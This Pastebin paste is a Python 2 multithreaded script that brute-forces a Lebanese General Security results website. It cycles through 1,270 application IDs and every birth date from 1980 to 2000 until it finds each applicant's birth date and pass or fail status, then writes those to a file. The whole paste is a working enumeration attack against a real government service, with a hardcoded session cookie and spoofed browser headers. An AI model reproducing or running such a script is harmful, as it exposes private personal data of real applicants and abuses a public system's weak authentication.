Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import threading
- import time
- import Queue
- import signal
- import sys
- from time import gmtime, strftime
- exitFlag = 0
- runningThreads = 0
- threadsNumber = range(1,11) #Number of Threads to Run ( Recommended: 10 )
- IDs = range(1,1271) #Acceptable IDs from 1 to 1270
- queueLock = threading.Lock()
- workQueue = Queue.Queue()
- threads = []
- threadID = 1
- birthDays = range(1,32)
- birthMonths = range(1,13)
- birthYears = range(1980,2001)
- maxCount = len(IDs) * len(birthDays) * len(birthMonths) * len(birthYears)
- counter = 0
- class myThread (threading.Thread):
- def __init__(self, threadID, queue):
- threading.Thread.__init__(self)
- self.threadID = threadID
- self.queue = queue
- def run(self):
- process_data(self.threadID, self.queue)
- queueLock.acquire()
- print "Exiting Thread " + str(self.threadID)
- queueLock.release()
- def process_data(threadID, queue):
- global counter
- while not exitFlag:
- queueLock.acquire()
- if not workQueue.empty():
- app_id = queue.get()
- print "Thread " + str(threadID) + " proccesing App ID: " + str(app_id)
- queueLock.release()
- lastLen = 0
- for year in birthYears:
- for month in birthMonths:
- for day in birthDays:
- url = "http://results.general-security.gov.lb/en/home/checkResults"
- payload = {"app_id": str(app_id), "birth_day": str(day),"birth_month": str(month),"birth_year": str(year),"dawra":"14"}
- headers = {
- 'accept': "*/*",
- 'origin': "http://results.general-security.gov.lb",
- 'x-requested-with': "XMLHttpRequest",
- 'user-agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36",
- 'content-type': "application/x-www-form-urlencoded",
- 'referer': "http://results.general-security.gov.lb/en",
- 'accept-encoding': "gzip, deflate",
- 'accept-language': "en-US,en;q=0.8,ar;q=0.6,fr;q=0.4",
- 'cookie': "ci_cookie=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%223dea85b373318aaa2de1cf2f4848d209%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A13%3A%22178.135.87.52%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A114%3A%22Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F56.0.2924.87+Safari%2F537.36%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1486719253%3Bs%3A9%3A%22user_data%22%3Bs%3A0%3A%22%22%3B%7D264beabcb37152d1956736e728feb4a6",
- 'cache-control': "no-cache"
- }
- try:
- response = requests.request("POST", url, data=payload, headers=headers)
- except:
- print "Error in Thread " + str(threadID) + " retrying ..."
- text = ""
- if "green" in response.text:
- queueLock.acquire()
- text += "-----------------------"
- text += "PASSED"
- text += "| App ID: " + str(app_id)
- text += "| Day: " + str(day)
- text += "| Month: " + str(month)
- text += "| Year: " + str(year)
- text += "-----------------------"
- print text
- with open("Results.txt", "a") as myfile:
- myfile.write(text)
- myfile.write("\n")
- queueLock.release()
- break
- elif "\"app_info\"" in response.text:
- queueLock.acquire()
- text += "-----------------------"
- text += "| DOD NOT PASS"
- text += "| App ID: " + str(app_id)
- text += "| Day: " + str(day)
- text += "| Month: " + str(month)
- text += "| Year: " + str(year)
- text += "-----------------------"
- print text
- with open("Results.txt", "a") as myfile:
- myfile.write(text)
- myfile.write("\n")
- queueLock.release()
- break
- queueLock.acquire()
- counter += 1
- if(counter % 100 == 0):
- print "[" + str(strftime("%H:%M:%S", gmtime())) + "] Completed " + str(counter) + "/" + str(maxCount)
- if(counter % 50 == 0):
- with open("Results.txt", "a") as myfile:
- myfile.write('| '.join(['{}: {}'.format(k,v) for k,v in payload.iteritems()]))
- myfile.write("\n")
- queueLock.release()
- else:
- continue
- break
- else:
- continue
- break
- if queueLock.locked():
- queueLock.release()
- print "Starting " + str(len(threadsNumber)) + " threads ..."
- # Create new threads
- for tName in threadsNumber:
- thread = myThread(threadID, workQueue)
- thread.start()
- threads.append(thread)
- threadID += 1
- # Fill the queue
- queueLock.acquire()
- for ID in IDs:
- workQueue.put(ID)
- queueLock.release()
- # Wait for queue to empty
- while not workQueue.empty():
- pass
- # Notify threads it's time to exit
- exitFlag = 1
- # Wait for all threads to complete
- for t in threads:
- t.join()
- print "Exiting Main Thread"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement